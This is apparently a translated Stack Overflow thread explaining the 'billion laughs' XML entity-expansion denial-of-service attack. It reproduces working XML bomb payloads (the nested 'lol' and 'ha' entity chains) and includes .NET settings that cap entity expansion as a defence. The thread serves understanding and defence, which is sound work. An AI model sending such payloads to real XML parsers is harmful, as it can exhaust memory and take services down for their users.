<!DOCTYPE root [
<!ENTITY ha "Ha !">
<!ENTITY ha2 "&ha; &ha;">
<!ENTITY ha3 "&ha2; &ha2;">
<!ENTITY ha4 "&ha3; &ha3;">
<!ENTITY ha5 "&ha4; &ha4;">
...
<!ENTITY ha128 "&ha127; &ha127;">
]>
<root>&ha128;</root>
Run Code Online (Sandbox Code Playgroud)
据说这被称为十亿笑DoS攻击.
有谁知道它是如何工作的?
cyt*_*nus 67
Billion Laughs攻击是针对XML解析器的拒绝服务攻击.Billion Laughs攻击也被称为XML炸弹,或更为神秘的指数实体扩展攻击.即使使用格式良好的XML也可能发生Billion Laughs攻击,并且还可以传递XML模式验证.
香草Billion Laughs攻击在下面的XML文件中说明.
<?xml version="1.0"?>
<!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
<!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
<!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
<!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<lolz>&lol9;</lolz>
Run Code Online (Sandbox Code Playgroud)
在此示例中,有10个不同的XML实体,lol- lol9.第一个实体lol被定义为字符串“lol”.但是,每个其他实体都被定义为另一个实体的10个.此XML文件的文档内容部分仅包含对该实体的一个实例的引用lol9.然而,当这个被DOM或SAX解析器解析时lol9,遇到它时,会扩展到10 lol8秒,每个扩展到10 lol7秒,依此类推.当一切都扩展到文本时lol,有100,000,000个字符串实例"lol".如果还有一个实体,或被lol定义为10个字符串“lol”,则会有一个十亿"lol",因此是攻击的名称.不用说,这许多扩展消耗了指数量的资源和时间,导致DOS.
我的博客上有更广泛的解释.
And*_*nov 22
其中一个XML炸弹 - http://msdn.microsoft.com/en-us/magazine/ee335713.aspx
攻击者现在可以利用XML的这三个属性(替换实体,嵌套实体和内联DTD)来制作恶意XML炸弹.攻击者使用嵌套实体编写一个XML文档,就像前面的例子一样,但是它不是仅仅嵌套一个级别,而是将他的实体嵌套到很多层次......
还有代码来保护这些"炸弹"(在.NET世界中):
XmlReaderSettings settings = new XmlReaderSettings();
settings.ProhibitDtd = false;
settings.MaxCharactersFromEntities = 1024;
XmlReader reader = XmlReader.Create(stream, settings);
Run Code Online (Sandbox Code Playgroud)
Mat*_*ley 12
<!ENTITY ha "Ha !">定义一个&ha;扩展为的实体"Ha !".下一行定义了另一个实体,&ha2;它扩展到"&ha; &ha;"并最终扩展"Ha ! Ha !".
&ha3;变成Ha ! Ha ! Ha ! Ha !,等等,每次都加倍.如果您遵循该模式,&haN;则为"Ha !"2 N-1次,因此&ha128,扩展为2 127 "Ha !" s,这对于任何计算机来说都太大了.
| 归档时间: |
|
| 查看次数: |
24608 次 |
| 最近记录: |